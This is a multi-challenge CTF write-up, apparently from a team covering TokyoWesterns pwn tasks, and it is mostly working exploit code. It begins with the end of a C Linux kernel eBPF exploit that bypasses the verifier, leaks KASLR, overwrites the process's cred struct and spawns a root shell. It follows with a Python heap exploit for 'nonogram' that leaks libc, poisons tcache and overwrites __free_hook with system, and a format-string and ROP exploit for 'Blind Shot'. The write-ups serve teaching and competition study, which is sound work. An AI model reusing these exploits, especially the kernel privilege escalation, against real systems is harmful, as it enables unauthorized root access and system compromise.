        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = sizeof(struct comms),
        .max_entries = 1
    };
    int map_fd = bpf(BPF_MAP_CREATE, &map_attr, sizeof(map_attr));
    if (map_fd < 0) {
        perror("bpf BPF_MAP_CREATE");
        return 1;
    }

    union bpf_attr vuln_attr = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = sizeof(struct comms),
        .max_entries = 1
    };
    int vuln_fd = bpf(BPF_MAP_CREATE, &vuln_attr, sizeof(vuln_attr));
    if (vuln_fd < 0) {
        perror("bpf BPF_MAP_CREATE");
        return 1;
    }

    unsigned long key = 0;
    struct comms value;
    value.kaslr_leak = 0xdeadbeefdeadbeef;
    value.in_zero = 0;
    value.in_read_addr = 0;
    value.do_setup_write = 0;
    value.swap_map_type = BPF_MAP_TYPE_STACK;
    value.swap_max_entries = 0xffffffff;
    value.swap_spinlock_off = 0;
    for (unsigned long i = 0; i < sizeof(value.padding); i += 8) {
        *(unsigned long *)(&value.padding[i]) = 0xffffffff00000000ul | (i + offsetof(struct comms, padding));
    }
    union bpf_attr item_attr = {
        .map_fd = map_fd,
        .key = (unsigned long) &key,
        .value = (unsigned long) &value,
    };
    if (bpf(BPF_MAP_UPDATE_ELEM, &item_attr, sizeof(item_attr)) < 0) {
        perror("bpf BPF_MAP_UPDATE_ELEM");
        return 1;
    }

    /* Once we have crafted our bad value, just follow https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification */
    struct bpf_insn insns[] = {
        /* Setup: Grab a pointer to the map member into r8 */
        BPF_LD_MAP_FD(BPF_REG_1, map_fd),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_0, -8),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
        BPF_FN_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
        BPF_EXIT_INSN(),
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        /* Setup: Load r2 from the map (so it is unknown to the verifier) */
        BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_8, offsetof(struct comms, in_zero)),
        /* (1a) Bound r2 between -1 and 1 (we know r2 == 0) */
        BPF_MOV64_IMM(BPF_REG_3, 1),
        BPF_JMP_REG(BPF_JSLE, BPF_REG_2, BPF_REG_3, 1),
        BPF_EXIT_INSN(),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_3, 2),
        BPF_JMP_REG(BPF_JSGE, BPF_REG_2, BPF_REG_3, 1),
        BPF_EXIT_INSN(),
        /* (1b) ALSH 63: r2 is 0 or S64_MIN - but since we shift into the sign bit, things break */
        BPF_ALU64_IMM(BPF_ALSH, BPF_REG_2, 63),
        /* (1c) RSH 63: r2 should be 0 or 1 - but the verifier thinks it is 1! */
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_2, 63),
        /* (1d) Swap around: Verifier should think r7 is zero, when it actually is 1 */
        BPF_MOV64_IMM(BPF_REG_7, 1),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_2),
        /* (2a) Bypass ALU sanitation. We want a valid pointer to the start of the array_map */
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
        BPF_MOV64_IMM(BPF_REG_2, 0x800),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), /* Can now subtract r2 */
        BPF_MOV64_IMM(BPF_REG_2, 0x400),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2), /* r2 = 0 according to the verifier (wrong!) */
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2), /* We should be back to the start of the array */
        /* Offsets obtained by experimentation:
         *  0x10: 0x1000             mask || elemsize
         *  ...
         *  0x50: 0x100000002
         *  ...
         *  0x80: 0x1                unpriv, frozen flags
         *  0x88: kernel ptr         user struct
         *  0x90: 0x2                nr_pages
         *  ...
         *  0xa8: 0xffffffff0000004a numa_node || id
         *  0xb0: 0xffffffea00000000 spinlock_off || flags
         *  0xb8: 0x100001000        max_entries || value_size
         *  0xc0: 0x400000002        key size || map type
         *  ...
         *  0xd0: kernel ptr         map ops
         */
        BPF_MOV64_IMM(BPF_REG_2, PARAMS_MAP_OPS_OFFSET),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2),

        /* (2b) Leak KASLR: get the address of the operations struct in .rodata */
        BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0), /* r9: KASLR leak: array_map_ops */
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, offsetof(struct comms, kaslr_leak)), /* Record leak */

        /* (2c) Place the address in BTF */
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, offsetof(struct comms, in_read_addr)),
        BPF_MOV64_IMM(BPF_REG_2, PARAMS_BTF_OFFSET),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), /* r1: points to map.btf */
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_3, PARAMS_BTF_ID_OFFSET), /* r3: align ID member over target */
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),

        /* (3a) If there is no write setup to be done, we are done. */
        BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_8, offsetof(struct comms, do_setup_write)),
        BPF_JMP32_IMM(BPF_JNE, BPF_REG_3, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),

        /* (3b) Load the vuln map */
        BPF_LD_MAP_FD(BPF_REG_1, vuln_fd),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
        BPF_FN_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
        BPF_EXIT_INSN(),
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

        /* (3c) Repeat step (2a) for the vuln map */
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_MOV64_IMM(BPF_REG_2, 0x800),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
        BPF_MOV64_IMM(BPF_REG_2, 0x400),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2), /* We should be back to the start of the array */
        BPF_MOV64_IMM(BPF_REG_2, PARAMS_MAP_OPS_OFFSET),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_SUB, BPF_REG_1, BPF_REG_2),

        /* (3d) Overwrite the array ops with our own */
        BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_1, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, offsetof(struct comms, swap_ops)),
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),
        BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_4, offsetof(struct comms, swap_ops)),

        /* (3e) Do the other overwrites */
        BPF_MOV64_IMM(BPF_REG_2, 0x8),
        BPF_MOV64_IMM(BPF_REG_5, 0xc),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_2, BPF_REG_7),
        BPF_ALU64_REG(BPF_MUL, BPF_REG_5, BPF_REG_7),

        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), /* map_type */
        BPF_LDX_MEM(BPF_W, BPF_REG_4, BPF_REG_1, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, offsetof(struct comms, swap_map_type)),
        BPF_STX_MEM(BPF_W, BPF_REG_1, BPF_REG_3, 0),
        BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_4, offsetof(struct comms, swap_map_type)),

        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_5), /* max_entries */
        BPF_LDX_MEM(BPF_W, BPF_REG_4, BPF_REG_1, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, offsetof(struct comms, swap_max_entries)),
        BPF_STX_MEM(BPF_W, BPF_REG_1, BPF_REG_3, 0),
        BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_4, offsetof(struct comms, swap_max_entries)),

        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), /* spinlock_off */
        BPF_LDX_MEM(BPF_W, BPF_REG_4, BPF_REG_1, 0),
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_8, offsetof(struct comms, swap_spinlock_off)),
        BPF_STX_MEM(BPF_W, BPF_REG_1, BPF_REG_3, 0),
        BPF_STX_MEM(BPF_W, BPF_REG_8, BPF_REG_4, offsetof(struct comms, swap_spinlock_off)),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };
    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (unsigned long) insns,
        .license = (unsigned long) "GPL",
        .log_level = log_level,
        .log_size = log_buf_sz,
        .log_buf = log_buf_ptr,
        .kern_version = (KERN_MAJOR << 16) + (KERN_MINOR << 8) + KERN_PATCH
    };
    int fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
    if (log_level)
        printf("%s\n", log_buf);
    if (fd < 0) {
        perror("bpf BPF_PROG_LOAD");
        return 1;
    }

    int sockets[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) {
        perror("socketpair");
        return 1;
    }
    if (setsockopt(sockets[0], SOL_SOCKET, SO_ATTACH_BPF, &fd, sizeof(fd)) < 0) {
        perror("setsockopt");
        return 1;
    }
    if (send(sockets[1], MSG, MSG_LEN, 0) < 0) {
        perror("send");
        return 1;
    }

    if (bpf(BPF_MAP_LOOKUP_ELEM, &item_attr, sizeof(item_attr)) < 0) {
        perror("bpf BPF_MAP_LOOKUP_ELEM");
        return 1;
    }
    if (!value.kaslr_leak) {
        fprintf(stderr, "KASLR leak failed!\n");
        return 1;
    }

#define READ32_AT(addr, attr, map_fd) ({ \
        memset(&(attr), 0, sizeof(attr)); \
        struct bpf_map_info info; \
        (attr).info.bpf_fd = (map_fd); \
        (attr).info.info_len = sizeof(info); \
        (attr).info.info = (unsigned long) &info; \
        value.in_read_addr = (addr); \
        if (bpf(BPF_MAP_UPDATE_ELEM, &item_attr, sizeof(item_attr)) < 0) { \
            perror("bpf BPF_MAP_UPDATE_ELEM"); \
            _exit(2); \
        } \
        if (send(sockets[1], MSG, MSG_LEN, 0) < 0) { \
            perror("send"); \
            _exit(2); \
        } \
        if (bpf(BPF_OBJ_GET_INFO_BY_FD, &info_attr, sizeof(info_attr)) < 0) { \
            perror("bpf BPF_OBJ_GET_INFO_BY_FD"); \
            _exit(2); \
        } \
        (unsigned long) info.btf_id; \
    })
#define READ64_AT(addr, attr, map_fd) ((READ32_AT(addr, attr, map_fd)) | READ32_AT((addr) + 4, attr, map_fd) << 32)

    union bpf_attr info_attr;
#define READ32(addr) READ32_AT(addr, info_attr, map_fd)
#define READ64(addr) READ64_AT(addr, info_attr, map_fd)

    unsigned long array_map_ops = value.kaslr_leak;
    printf("array_map_ops: %#018lx\n", array_map_ops);
    unsigned long init_task = array_map_ops + (INIT_TASK_LOC - ARRAY_MAP_OPS_LOC);
    printf("init_task:     %#018lx\n", init_task);

    unsigned pid = getpid();
    unsigned uid = getuid();
    if (uid == 0) {
        fprintf(stderr, "You are already root, this will lead to problems!\n");
        return 3;
    }

    /* In theory the layout of this is (partially) randomized, so be careful! */
    unsigned long task = init_task;
    while (READ32(task + TASK_STRUCT_PID_OFF) != pid) {
        task = READ64(task + TASK_STRUCT_NEXT_OFF) - TASK_STRUCT_NEXT_OFF;
        if (task == init_task) {
            fprintf(stderr, "Task not found!\n");
            return 3;
        }
    }
    printf("task:          %#018lx\n", task);

    unsigned long cred = READ64(task + TASK_STRUCT_CRED_OFF);
    printf("cred:          %#018lx\n", cred);

    unsigned long files = READ64(task + TASK_STRUCT_FILES_OFF);
    printf("files:         %#018lx\n", files);

    unsigned long vuln_map_file = READ64(files + FILES_STRUCT_FDARR_OFF + 8 * vuln_fd);
    printf("vuln_map file: %#018lx\n", vuln_map_file);

    unsigned long private_data = READ64(vuln_map_file + FILE_PRIVATE_DATA_OFF);
    printf("private_data:  %#018lx\n", private_data);


    unsigned long override[sizeof(struct comms) / 8];
    union bpf_attr vuln_item_attr = {
        .map_fd = vuln_fd,
        .key = (unsigned long) &key,
        .value = (unsigned long) &override,
    };

    for (unsigned long index = 0; index < BPF_MAP_OPS_COUNT; ++index)
        override[index] = READ64(array_map_ops + 8 * index);
    override[BPF_MAP_OPS_PUSH_ELEM] = override[BPF_MAP_OPS_GET_NEXT_KEY];
    if (bpf(BPF_MAP_UPDATE_ELEM, &vuln_item_attr, sizeof(vuln_item_attr)) < 0) {
        perror("bpf BPF_MAP_UPDATE_ELEM");
        return 3;
    }

    /* Other swaps are already ready */
    value.swap_ops = private_data + PARAMS_MAP_OPS_OFFSET;

    if (READ64(array_map_ops) != READ64(value.swap_ops)) {
        fprintf(stderr, "Something went wrong while setting up array_map_ops\n");
        return 3;
    }

    value.do_setup_write = 1;
    /* Instead of making _another_ thing that dispatches the same way, just read some data... */
    READ32(cred);
    value.do_setup_write = 0;

    if (READ64(private_data) != private_data + PARAMS_MAP_OPS_OFFSET) {
        fprintf(stderr, "Bad array_map_ops\n");
        return 3;
    }
    if (READ32(private_data + 0x10) != BPF_MAP_TYPE_STACK) {
        fprintf(stderr, "Bad map_type\n");
        return 3;
    }
    if (READ32(private_data + 0x1c) != 0xffffffff) {
        fprintf(stderr, "Bad max_entries\n");
        return 3;
    }
    if (READ32(private_data + 0x24) != 0) {
        fprintf(stderr, "Bad spinlock_off\n");
        return 3;
    }

    for (unsigned long offset = 0; offset < 128; offset += 4) {
        if (READ32(cred + offset) == uid) {
            printf("struct cred has %#lx at offset %#lx\n", uid, offset);
            /* Write a zero. */
            unsigned long write_value = 0xffffffff;
            unsigned long key = 0;

            union bpf_attr write_attr;
            memset(&write_attr, 0, sizeof(write_attr));
            write_attr.map_fd = vuln_fd;
            write_attr.key    = (unsigned long) &key;
            write_attr.value  = (unsigned long) &write_value;
            write_attr.flags  = cred + offset;
            if (bpf(BPF_MAP_UPDATE_ELEM, &write_attr, sizeof(write_attr)) < 0) {
                perror("bpf BPF_MAP_UPDATE_ELEM");
                return 4;
            }
        }
    }

    value.do_setup_write = 1; /* Cleanup */
    READ32(cred);
    value.do_setup_write = 0;

    if (setresuid(0, 0, 0) != 0) {
        perror("setresuid");
        return 4;
    }

    unsigned ruid, euid, suid;
    getresuid(&ruid, &euid, &suid);
    printf("\x1b[32mUID:  \x1b[32;1m%d\x1b[0m\n", ruid);
    printf("\x1b[32mEUID: \x1b[32;1m%d\x1b[0m\n", euid);
    printf("\x1b[32mSUID: \x1b[32;1m%d\x1b[0m\n", suid);

    printf("\x1b[32;1mHere is your shell\x1b[0m\n");
    char *args[] = { "/bin/sh", NULL };
    char *env[] = { NULL };
    execve("/bin/sh", args, env);
}

This uses some headers from the Linux source tree (the version this is built against is v5.4.58): bpf.h is just a copy of include/uapi/linux/bpf.h, and bpf_insn.h is a copy of samples/bpf/bpf_insn.h.


nonogram

iead | pwn, 33 solves, 252 points

flag: TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}

In this challenge you could, like the name suggested solve ononograms online. There were two predefined puzzles, but you could add your own puzzles.

The Bug

When adding a puzzle, the layout of the puzzle was first read into an array residing in the bss. The program would ask for a size and calculate the space required to hold the puzzle accordingly. It however did not check wether it puzzle fits into the buffer. After the puzzle is read using read it is copied over to a heap allocation.

Exploit

First I created a new puzzle that was to large for the buffer, but since the data was read using read i did only input a single null byte. This allowed me to copy the data from the puzzle vector vec_puzzle into an actual puzzle. The size i choose was 91, as it was the smallest size that did not fit the buffer any more, and overlapped with the vector by 89 bits. This prooved to be usefull as i could read the pointer from the column information when i “tried” to solve that nonogram. As the rest of the puzzle was empty only the fields were set where the pointer had 1 bits. Since the overlap was less than a row width the column information was unambigous.

add(s, b"leak", 91, b"\0")
s.send(b"1\n")
recv_until(s, b"Index:\n")
s.send(b"2\n")
recv_until(s, b"Numbers\n")
rows = recv_until(s, b"C")[:-2]
rows = map(int, rows.split(b"\n")[2:])
leak = bytes([foldr(lambda x, y: (y << 1) | x, 0, c) for c in chunk_pad(rows, 8)])
heap = int.from_bytes(leak[:8], 'little') - 0x11f90

After leaking the heap address I deleted that puzzle again. This left me with an pointer to the libc in an unsorted bin. Next I created a new puzzle placing four fake puzzle header and a fake vector structure inside that puzzle. I also overwrote the puzzle vector to point to my fake vector instead.

fake_off = 0x12480
leak_off = 0x11ff0

fake_addr = heap + fake_off
fake_vector = fake_addr + 0x30
fake_addr2 = fake_vector + 0x20
fake_addr3 = fake_addr2 + 0x30
fake_data = fake_addr3 + 0x30
fd  = [ 92
    , heap + 0x300    # data ptr
    , heap + leak_off # name
    , 6               # name_len
    , 0
    , 0x21
    , fake_addr
    , fake_addr2
    , fake_addr3
    , 0x31              # size
    , 5                 # nono_size
    , fake_data         # nono_field
    , fake_addr2 + 0x20 # nono_name
    , 4                 # nono_name_len
    , 0x37333331        # nono_name_buf
    , 0x31              # size
    , 5                 # nono_size
    , fake_data + 0x10
    , fake_addr3 + 0x20
    , 4
    , 0x38333331
    , 0x31
    , 0
    , 0x21]

I made the name of the first puzzle point to the data of the freed leak puzzle, where the libc address was stored. I completed the leak by entering the show menu, printing the names of all puzzles.

s.send(b"4\n") # show
recv_until(s, b"0 : ")
libc = int.from_bytes(b"".join([s.recv(1) for i in range(6)]), 'little') - libc_leak_off
print(f"[+] libc {libc:#x}")
recv_until(s, b"Index:\n")
s.send(b"1\n")
recv_until(s, b"input: ")

The last part of the exploit was performing an attack on the tcache linked list. To do do I freed some of the fake puzzles. Note that the faked chunks of the last two faked puzzles overlap, so I can overwrite the forward pointer. I decided to do the classic __free_hook overwrite.

The only remaining problem was freeing a chunk that started with “sh”. This was not as trivial as it sounds, as the puzzles had a custom destructor that would clear the puzzle data before freeing. The first field of the puzzle itself was the puzzle size and writing “sh” there led to access violations.

So I decided to abuse the vector once more. I created a new fake vector with “sh” instead of the first element. Since this is not a valid pointer I would not be able to interact with the challenge any more once I made the vector point to this fake vector. Luckily the order in which the puzzle was created was just right. First the data is read from the user, than the new puzzle is created at the back of the vector. I created my fake vector such that it needed reallocation when an element is inserted. This triggered the needed free on the old vector and I popped go my shell.

Full Exploit using my pwnutils:

#!/usr/bin/env python3

import socket
import sys
import telnetlib
import struct
from pwnutils import *

from itertools import islice, chain, repeat
import functools

# TWCTF{watashi_puzzle_daisuki_mainiti_yatteru}

libc_leak_off = 0x886fd0 - 0x69b000
libc_free_hook = 0x1eeb28
libc_system = 0x55410

foldl = lambda func, acc, xs: functools.reduce(func, xs, acc)

def chunk_pad(it, size, padval=None):
    it = iter(it)
    return iter(lambda: tuple(islice(it, size)), ())

def flip(func):
    @functools.wraps(func)
    def newfunc(x, y):
        return func(y, x)
    return newfunc

def foldr(func, acc, xs):
    return functools.reduce(flip(func), reversed(xs), acc)

def add(sock, title, size, data):
    sock.send(b"2\n")
    recv_until(sock, b"Title: ")
    sock.send(title + b"\n")
    recv_until(sock, b"Size: ")
    sock.send(f"{size}\n".encode())
    recv_until(sock, b"Puzzle: ")
    sock.send(data)
    recv_until(sock, b"input: ")

def rem(sock, index):
    sock.send(b"3\n")
    recv_until(sock, b"Index:\n")
    sock.send(f"{index}\n".encode())
    recv_until(sock, b"input: ")

tar = (sys.argv[1], int(sys.argv[2]))
with socket.socket() as s:
    s.connect(tar)

    add(s, b"leak", 91, b"\0")
    s.send(b"1\n")
    recv_until(s, b"Index:\n")
    s.send(b"2\n")
    recv_until(s, b"Numbers\n")
    rows = recv_until(s, b"C")[:-2]
    rows = map(int, rows.split(b"\n")[2:])
    leak = bytes([foldr(lambda x, y: (y << 1) | x, 0, c) for c in chunk_pad(rows, 8)])
    heap = int.from_bytes(leak[:8], 'little') - 0x11f90
    print(f"[+] heap {heap:#x}")
    s.send(b"q\n")
    recv_until(s, b"input: ")
    add(s, b"snd", 92, b"\0")

    rem(s, 2)
    rem(s, 2)


    fake_off = 0x12480
    leak_off = 0x11ff0
    
    fake_addr = heap + fake_off
    fake_vector = fake_addr + 0x30
    fake_addr2 = fake_vector + 0x20
    fake_addr3 = fake_addr2 + 0x30
    fake_data = fake_addr3 + 0x30
    fd  = [ 92
        , heap + 0x300    # data ptr
        , heap + leak_off # name
        , 6               # name_len
        , 0
        , 0x21
        , fake_addr
        , fake_addr2
        , fake_addr3
        , 0x31              # size
        , 5                 # nono_size
        , fake_data         # nono_field
        , fake_addr2 + 0x20 # nono_name
        , 4                 # nono_name_len
        , 0x37333331        # nono_name_buf
        , 0x31              # size
        , 5                 # nono_size
        , fake_data + 0x10
        , fake_addr3 + 0x20
        , 4
        , 0x38333331
        , 0x31
        , 0
        , 0x21]
    fake = struct.pack("<" + "Q" * len(fd), *fd)
    fake = fake.ljust(0x400, b"\0")
    print(f"placing fake element @ {heap + fake_off + 0x30:#x}")
    fake += struct.pack("<QQQ"
        , heap + fake_off + 0x30 # begin
        , heap + fake_off + 0x48 # end
        , heap + fake_off + 0x48) # cont end
    add(s, b"fake", 92, fake)

    s.send(b"4\n") # show
    recv_until(s, b"0 : ")
    libc = int.from_bytes(b"".join([s.recv(1) for i in range(6)]), 'little') - libc_leak_off
    print(f"[+] libc {libc:#x}")
    recv_until(s, b"Index:\n")
    s.send(b"1\n")
    recv_until(s, b"input: ")
    #print(rows)

    rem(s, 2)
    rem(s, 1)

    add(s, b"i34d", 17, b"/bin/sh\0")
    add(s, b"heaper", 17, struct.pack("<QQQ", 0, 0x21, libc + libc_free_hook))
    add(s, b"SPARTA", 8, b"sh\0")
    add(s, b"1337onidas", 8, struct.pack("<Q", libc + libc_system))

    # abuse free in vector resize

    pwn2 = b"0" * 0x400 + struct.pack("<QQQ", fake_data + 0x10, fake_data + 0x28, fake_data + 0x28)
    s.send(b"2\n")
    recv_until(s, b"Title: ")
    s.send("イード\n".encode())
    recv_until(s, b"Size: ")
    s.send(b"92\n")
    recv_until(s, b"Puzzle: ")
    s.send(pwn2)
    # s.send(b"4\n")

    print("[+] interactive")
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

Blind Shot

mckirk/iead | pwn, 8 solves, 398 points

Looking at the blindshot binary quickly reveals that this is a format-string exploit challenge, with two limitations:

  • you only have one shot (one opportunity, mom’s spaghetti, etc.)
  • you don’t get to see the output of your controlled dprintf

It is thus a blind-shot challenge, if you will.

After staring at the challenge for an eternity, having forgotten half the printf-exploit-knowledge I’d ever had, iead thankfully disentangled my brain and pointed out that the two pointer-chains we have on the stack are entirely sufficient for control over the stack (with only 12 bits of brute force):

00:0000│ rsp  0x7fffffffecc0 —▸ 0x7fffffffee18 —▸ 0x7fffffffefa7 ◂— 'PWD=/...'
... ↓
06:0030│ rbp  0x7fffffffecf0 —▸ 0x7fffffffed10 ◂— 0x0
07:0038│      0x7fffffffecf8 —▸ 0x55555555529b (main+63) ◂— leave
... ↓
0a:0050│      0x7fffffffed10 ◂— 0x0
0b:0058│      0x7fffffffed18 —▸ 0x7ffff7dfd0b3 (__libc_start_main+243) ◂— mov    edi, eax
... ↓
1c:00e0│      0x7fffffffeda0 —▸ 0x7fffffffee08 —▸ 0x7fffffffef9b ◂— './blindshot'
1d:00e8│      0x7fffffffeda8 —▸ 0x7fffffffee18 —▸ 0x7fffffffefa7 ◂— 'PWD=/...'
... ↓
29:0148│      0x7fffffffee08 —▸ 0x7fffffffef9b ◂— './blindshot'
2a:0150│      0x7fffffffee10 ◂— 0x0
2b:0158│      0x7fffffffee18 —▸ 0x7fffffffefa7 ◂— 'PWD=/...'

For dprintf, the top of the stack is argument #5. We thus have arg#5 pointing at arg#48 and arg#18 pointing to arg#46, with return addresses at arg#12 and arg#16.

Now, in order to do anything with this, we need to manage to get into a printf-loop and ideally also leak some addresses. This can both be achieved with

offset_main = 0xecf8

r.sendline(
    f"%{offset_main-3}c%c%c%c%hn" + # write 0xed08 to arg 5 => let arg 0x2b+5=48 point to ret
    "%c"*(47-6) + # skip to arg 47
    f"%{0x91-0x31}c" + # pad to have last byte = 0x91
    "%hhn" + # partially overwrite arg 48 -> ret
    f"%{0x101 - 0xa2 + 0x11}c" # pad so al=1
    )

By changing the lowest byte of service’s return address to 0x91, we return to

.text:0000000000001291                 movsx   eax, al
.text:0000000000001294                 mov     edi, eax        ; a1
.text:0000000000001296                 call    service

Since service expects the fd for dprintf as its first argument and since we’ve padded our fmt string such that the lowest byte of the returned length is 0x01, we’ve thus ensured that dprintf will now print to stdout and we can leak some addresses in the next iteration.

Now, rather than building more convoluted printf-strings by hand, I decided to build a small FmtString class (probably reinventing the wheel afor the thousandth time), which can be found at the end of the write-up.

With this class, the initial loop-construct shown above looks as follows:

loop1 = FmtString() \
  .to_len_and_pos(offset_main, bits = 16, pos = 5) \
  .add_arg("%hn", 0) \
  .to_len_and_pos(0x91, bits = 8, pos = 48) \
  .add_arg("%hhn", 0) \
  .to_len(1, bits = 8) \
  .get()

r.sendline(loop1)
try:
  r.recvuntil("> ")
except Exception as e:
  print("Next try")
  r.close()

With the second loop iteration, we can leak a libc-address (and proceed to dump the printf output to /dev/null again by returning to 0x68 instead of 0x91):

loop2 = FmtString() \
  .to_arg_pos(0xb+5) \
  .add_arg("(%016llx)", l = 18) \
  .to_len_and_pos(0x68, bits = 8, pos = 48) \
  .add_arg("%hhn", 0) \
  .get()

r.sendline(loop2)
resp = r.recvuntil("> ")
libc_start_main_ret = int(re.search(rb"\((.{16})\)", resp).group(1), 16)

libc_base = libc_start_main_ret - (0x7fffff5d70b3 - 0x7fffff5b0000)

Finally, we can simply overwrite the stack with a ROP chain and get our flag:

def build_chain(base):
  p = b""

  data_start = 0x7fffff79dff0 - 0x7fffff5b0000

  p += p64(base + 0x00000000001626d5) # pop rax ; pop rdx ; pop rbx ; ret
  p += p64(0x4141414141414141) # padding
  p += p64(base + data_start) # @ .data
  p += p64(0x4141414141414141) # padding
  p += p64(base + 0x000000000004a550) # pop rax ; ret
  p += b'/bin//sh'
  p += p64(base + 0x00000000000374b0) # mov qword ptr [rdx], rax ; ret
  p += p64(base + 0x0000000000026b72) # pop rdi ; ret
  p += p64(base + data_start) # @ .data
  p += p64(base + 0x0000000000027529) # pop rsi ; ret
  p += p64(base + data_start + 8) # @ .data + 8
  p += p64(base + 0x00000000001626d6) # pop rdx ; pop rbx ; ret
  p += p64(base + data_start + 8) # @ .data + 8
  p += p64(0x4141414141414141) # padding
  p += p64(base + 0x000000000004a550) # pop rax ; ret
  p += p64(59) # sys_execve
  p += p64(base + 0x000000000002584d) # syscall

  return p

p = build_chain(libc_base)

offset_rbp = 0xecf0
offset_main = offset_rbp+8
offset_startchain = offset_rbp+0x10

offset = 0
while offset < len(p):
  exp = FmtString() \
    .to_len_and_pos(offset_startchain+offset, bits = 16, pos = 0x1c+5) \
    .add_arg("%hn", 0) \
    .to_len_and_pos(u16(p[offset:offset+2]), bits = 16, pos = 46) \
    .add_arg("%hn", 0) \
    .to_len_and_pos(0x68, bits = 8, pos = 48) \
    .add_arg("%hhn", 0) \
    .get()

  r.sendline(exp)
  r.recvuntil("> ")

  offset += 2
  print(f"Wrote {offset} of {len(p)}")

# finally, modify stored rbp so we'll jump into our ROP chain after service returns
r.sendline(FmtString() \
    .to_len_and_pos(offset_rbp, bits = 16, pos = 0x1c+5) \
    .add_arg("%hn", 0) \
    .to_len_and_pos(offset_startchain-8, bits = 16, pos = 46) \
    .add_arg("%hn", 0) \
    .get())

r.sendline("cat flag.txt")

print("Got it")
r.interactive()

# TWCTF{0nc3_5h07,7w1c3_r3wr173!}

class FmtString:
  def __init__(self):
    self.len = 0
    self.arg_pos = 1
    self.str = ""

  def add_arg(self, a, l):
    self.len += l
    self.arg_pos += 1
    self.str += a

    return self

  def to_len(self, l, bits = 64):
    mask = (1 << bits) - 1

    delta = l - (self.len & mask)
    if delta < 0:
      delta += (1 << bits)

    self.add_arg(f"%{delta}c", delta)

    return self

  def to_arg_pos(self, pos):
    if self.arg_pos > pos:
      raise RuntimeError("can't go back")

    while self.arg_pos < pos:
      self.add_arg("%c", 1)

    return self

  def to_len_and_pos(self, l, bits, pos):
    self.to_arg_pos(pos - 1)
    self.to_len(l, bits)

    return self

  def get(self):
    return self.str

IL

mckirk | pwn, 10 solves, 379 points

After unpacking the archive, we are greeted by a curiously diverse set of files, namely an il ELF as well as an il.dll and a ilstub.dll. Consulting the README explains why:

  1. Install .NET Core Runtime 3.1
  2. Run il and cast your spell

friendly note: there are no intended bugs in il

So we are dealing with .Net libraries. Opening them in dnSpy reveals that they are thankfully not obfuscated, which in the .Net world makes them essentially open source.

